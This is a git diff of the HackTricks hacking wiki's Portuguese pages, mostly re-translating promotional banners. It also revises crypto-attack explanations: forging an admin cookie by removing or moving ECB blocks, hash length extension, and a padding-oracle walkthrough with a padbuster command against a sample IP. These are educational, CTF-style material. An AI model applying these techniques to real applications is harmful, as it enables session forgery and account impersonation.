-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -16,19 +16,19 @@ Aprenda e pratique Hacking GCP: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/cryptography/crypto-ctfs-tricks.md b/cryptography/crypto-ctfs-tricks.md index 633681db7..134baad7f 100644 --- a/cryptography/crypto-ctfs-tricks.md +++ b/cryptography/crypto-ctfs-tricks.md @@ -1,21 +1,21 @@ -# Truques de Crypto CTFs +# Crypto CTFs Tricks {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -## Bancos de Dados de Hashes Online +## Online Hashes DBs * _**Pesquise no Google**_ * [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) @@ -29,34 +29,34 @@ Aprenda e pratique Hacking GCP: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/cryptography/electronic-code-book-ecb.md b/cryptography/electronic-code-book-ecb.md index 820a5386a..ec68bb2b8 100644 --- a/cryptography/electronic-code-book-ecb.md +++ b/cryptography/electronic-code-book-ecb.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -16,20 +16,20 @@ Aprenda e pratique Hacking GCP: |`**.\ +Imagine que você faz login em um aplicativo várias vezes e você **sempre recebe o mesmo cookie**. Isso ocorre porque o cookie do aplicativo é **`|`**.\ Então, você gera dois novos usuários, ambos com a **mesma senha longa** e **quase** o **mesmo** **nome de usuário**.\ -Você descobre que os **blocos de 8B** onde a **informação de ambos os usuários** é a mesma são **iguais**. Então, você imagina que isso pode ser porque está sendo usado o **ECB**. +Você descobre que os **blocos de 8B** onde a **informação de ambos os usuários** é a mesma são **iguais**. Então, você imagina que isso pode ser porque **ECB está sendo usado**. Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm várias vezes o bloco **`\x23U\xE45K\xCB\x21\xC8`**. ``` @@ -37,44 +37,60 @@ Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm v \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` -Isso ocorre porque o **nome de usuário e senha desses cookies continham várias vezes a letra "a"** (por exemplo). Os **blocos** que são **diferentes** são blocos que continham **pelo menos 1 caractere diferente** (talvez o delimitador "|" ou alguma diferença necessária no nome de usuário). +Isso ocorre porque o **nome de usuário e a senha desses cookies continham várias vezes a letra "a"** (por exemplo). Os **blocos** que são **diferentes** são blocos que continham **pelo menos 1 caractere diferente** (talvez o delimitador "|" ou alguma diferença necessária no nome de usuário). -Agora, o atacante só precisa descobrir se o formato é `` ou ``. Para fazer isso, ele pode simplesmente **gerar vários nomes de usuário** com **nomes de usuário e senhas semelhantes e longos até encontrar o formato e o comprimento do delimitador:** +Agora, o atacante só precisa descobrir se o formato é `` ou ``. Para fazer isso, ele pode apenas **gerar vários nomes de usuário** com **nomes de usuário e senhas longos e semelhantes até encontrar o formato e o comprimento do delimitador:** -| Comprimento do nome de usuário: | Comprimento da senha: | Comprimento do nome de usuário + senha: | Comprimento do cookie (após decodificação): | -| ------------------------------- | --------------------- | --------------------------------------- | ------------------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +| Comprimento do nome de usuário: | Comprimento da senha: | Comprimento do nome de usuário+senha: | Comprimento do cookie (após decodificação): | +| ------------------------------- | --------------------- | ------------------------------------- | ------------------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | # Exploração da vulnerabilidade ## Removendo blocos inteiros -Sabendo o formato do cookie (`|`), para se passar pelo nome de usuário `admin`, crie um novo usuário chamado `aaaaaaaaadmin` e obtenha o cookie e decodifique-o: +Sabendo o formato do cookie (`|`), para se passar pelo nome de usuário `admin`, crie um novo usuário chamado `aaaaaaaaadmin` e obtenha o cookie e decodifique-o: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` Podemos ver o padrão `\x23U\xE45K\xCB\x21\xC8` criado anteriormente com o nome de usuário que continha apenas `a`.\ -Em seguida, você pode remover o primeiro bloco de 8B e obter um cookie válido para o nome de usuário `admin`: +Então, você pode remover o primeiro bloco de 8B e obterá um cookie válido para o nome de usuário `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` ## Movendo blocos -Em muitos bancos de dados, é a mesma coisa procurar por `WHERE username='admin';` ou por `WHERE username='admin ';` _(Note os espaços extras)_ +Em muitos bancos de dados, é o mesmo procurar por `WHERE username='admin';` ou por `WHERE username='admin ';` _(Note os espaços extras)_ -Portanto, outra maneira de se passar pelo usuário `admin` seria: +Assim, outra maneira de se passar pelo usuário `admin` seria: -* Gerar um nome de usuário que: `len() + len(` irá gerar 2 blocos de 8Bs. -* Em seguida, gerar uma senha que preencherá um número exato de blocos contendo o nome de usuário que queremos nos passar e espaços, como: `admin ` +* Gerar um nome de usuário que: `len() + len(` gerará 2 blocos de 8Bs. +* Em seguida, gerar uma senha que preencherá um número exato de blocos contendo o nome de usuário que queremos imitar e espaços, como: `admin ` -O cookie deste usuário será composto por 3 blocos: os 2 primeiros são os blocos do nome de usuário + delimitador e o terceiro da senha (que está fingindo ser o nome de usuário): `username |admin ` +O cookie deste usuário será composto por 3 blocos: os primeiros 2 são os blocos do nome de usuário + delimitador e o terceiro da senha (que está falsificando o nome de usuário): `username |admin ` -**Então, basta substituir o primeiro bloco pelo último e estaremos nos passando pelo usuário `admin`: `admin |username`** +**Então, basta substituir o primeiro bloco pelo último e você estará se passando pelo usuário `admin`: `admin |username`** ## Referências * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md index dac05557c..c54d49e9f 100644 --- a/cryptography/hash-length-extension-attack.md +++ b/cryptography/hash-length-extension-attack.md @@ -1,42 +1,43 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} + # Resumo do ataque Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, fazendo o hash desses dados. Se você souber: -* **O comprimento do segredo** (isso também pode ser forçado por força bruta a partir de uma faixa de comprimento fornecida) +* **O comprimento do segredo** (isso também pode ser forçado a partir de um intervalo de comprimento dado) * **Os dados de texto claro** -* **O algoritmo (e que é vulnerável a esse ataque)** -* **O preenchimento é conhecido** -* Geralmente, um padrão é usado, então se os outros 3 requisitos forem atendidos, este também é -* O preenchimento varia dependendo do comprimento do segredo+dados, por isso o comprimento do segredo é necessário +* **O algoritmo (e ele é vulnerável a este ataque)** +* **O padding é conhecido** +* Normalmente, um padrão padrão é usado, então se os outros 3 requisitos forem atendidos, isso também é +* O padding varia dependendo do comprimento do segredo + dados, é por isso que o comprimento do segredo é necessário Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma **assinatura** válida para os **dados anteriores + dados anexados**. ## Como? -Basicamente, os algoritmos vulneráveis geram os hashes primeiro **fazendo o hash de um bloco de dados**, e então, **a partir** do **hash previamente** criado (estado), eles **adicionam o próximo bloco de dados** e **fazem o hash dele**. +Basicamente, os algoritmos vulneráveis geram os hashes primeiro **fazendo o hash de um bloco de dados**, e então, **a partir do** **hash** (estado) **anteriormente** criado, eles **adicionam o próximo bloco de dados** e **fazem o hash**. -Então, imagine que o segredo é "secreto" e os dados são "dados", o MD5 de "secretdata" é 6036708eba0d11f6ef52ad44e8b74d5b.\ -Se um atacante quiser anexar a string "anexar" ele pode: +Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\ +Se um atacante quiser anexar a string "anexar", ele pode: * Gerar um MD5 de 64 "A"s -* Alterar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b +* Mudar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b * Anexar a string "anexar" -* Finalizar o hash e o hash resultante será um **válido para "secreto" + "dados" + "preenchimento" + "anexar"** +* Finalizar o hash e o hash resultante será um **válido para "segredo" + "dados" + "padding" + "anexar"** ## **Ferramenta** @@ -48,16 +49,16 @@ Você pode encontrar este ataque bem explicado em [https://blog.skullsecurity.or {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/cryptography/padding-oracle-priv.md b/cryptography/padding-oracle-priv.md index 123430f80..855d2dfcf 100644 --- a/cryptography/padding-oracle-priv.md +++ b/cryptography/padding-oracle-priv.md @@ -4,7 +4,7 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -32,8 +32,8 @@ Note como é necessário usar uma **chave de criptografia** e um **IV**. # Preenchimento de Mensagem -Como a criptografia é realizada em **blocos** de **tamanho** **fixo**, o **preenchimento** geralmente é necessário no **último** **bloco** para completar seu comprimento.\ -Geralmente, o **PKCS7** é usado, que gera um preenchimento **repetindo** o **número** de **bytes** **necessários** para **completar** o bloco. Por exemplo, se o último bloco estiver faltando 3 bytes, o preenchimento será `\x03\x03\x03`. +Como a criptografia é realizada em **blocos** de **tamanho fixo**, o **preenchimento** geralmente é necessário no **último** **bloco** para completar seu comprimento.\ +Normalmente, o **PKCS7** é usado, que gera um preenchimento **repetindo** o **número** de **bytes** **necessários** para **completar** o bloco. Por exemplo, se o último bloco estiver faltando 3 bytes, o preenchimento será `\x03\x03\x03`. Vamos ver mais exemplos com **2 blocos de comprimento 8bytes**: @@ -74,7 +74,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon ``` ## A teoria -Em **resumo**, você pode começar a descriptografar os dados criptografados adivinhando os valores corretos que podem ser usados para criar todos os **diferentes preenchimentos**. Então, o ataque de padding oracle começará a descriptografar bytes do final para o início, adivinhando qual será o valor correto que **cria um preenchimento de 1, 2, 3, etc**. +Em **resumo**, você pode começar a descriptografar os dados criptografados adivinhando os valores corretos que podem ser usados para criar todos os **diferentes paddings**. Então, o ataque de padding oracle começará a descriptografar bytes do final para o início, adivinhando qual será o valor correto que **cria um padding de 1, 2, 3, etc**. ![](<../.gitbook/assets/image (629) (1) (1).png>) @@ -88,13 +88,13 @@ Finalmente, cada byte intermediário é **XORed** com os bytes criptografados an * `C12 = I12 ^ E4` * ... -Agora, é possível **modificar `E7` até que `C15` seja `0x01`**, o que também será um preenchimento correto. Então, neste caso: `\x01 = I15 ^ E'7` +Agora, é possível **modificar `E7` até que `C15` seja `0x01`**, o que também será um padding correto. Então, neste caso: `\x01 = I15 ^ E'7` Assim, encontrando E'7, é **possível calcular I15**: `I15 = 0x01 ^ E'7` O que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Sabendo **C15**, agora é possível **calcular C14**, mas desta vez forçando o preenchimento `\x02\x02`. +Sabendo **C15**, agora é possível **calcular C14**, mas desta vez forçando o padding `\x02\x02`. Esse BF é tão complexo quanto o anterior, pois é possível calcular o `E''15` cujo valor é 0x02: `E''7 = \x02 ^ I15`, então só é necessário encontrar o **`E'14`** que gera um **`C14` igual a `0x02`**.\ Então, faça os mesmos passos para descriptografar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** @@ -107,7 +107,7 @@ Registre uma conta e faça login com essa conta.\ Se você **fizer login muitas vezes** e sempre receber o **mesmo cookie**, provavelmente há **algo** **errado** na aplicação. O **cookie enviado de volta deve ser único** cada vez que você faz login. Se o cookie for **sempre** o **mesmo**, provavelmente sempre será válido e não **haverá como invalidá-lo**. Agora, se você tentar **modificar** o **cookie**, pode ver que recebe um **erro** da aplicação.\ -Mas se você BF o preenchimento (usando padbuster, por exemplo), consegue obter outro cookie válido para um usuário diferente. Esse cenário é altamente provável de ser vulnerável ao padbuster. +Mas se você BF o padding (usando padbuster, por exemplo), consegue obter outro cookie válido para um usuário diferente. Esse cenário é altamente provável de ser vulnerável ao padbuster. ## Referências diff --git a/cryptography/rc4-encrypt-and-decrypt.md b/cryptography/rc4-encrypt-and-decrypt.md index 247d55ed9..0fde49a88 100644 --- a/cryptography/rc4-encrypt-and-decrypt.md +++ b/cryptography/rc4-encrypt-and-decrypt.md @@ -1,22 +1,22 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -Se você conseguir de alguma forma criptografar um texto simples usando o RC4, você pode descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia. +Se você conseguir de alguma forma criptografar um texto simples usando RC4, você pode descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia. -Se você conseguir criptografar um texto simples conhecido, também pode extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos: +Se você pode criptografar um texto simples conhecido, você também pode extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} @@ -27,16 +27,16 @@ Se você conseguir criptografar um texto simples conhecido, também pode extrair {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/emails-vulns.md b/emails-vulns.md index 9490465b8..6e8ed8ac8 100644 --- a/emails-vulns.md +++ b/emails-vulns.md @@ -1,16 +1,16 @@ # Vulnerabilidades de Emails {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} @@ -18,3 +18,18 @@ Aprenda e pratique Hacking GCP: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
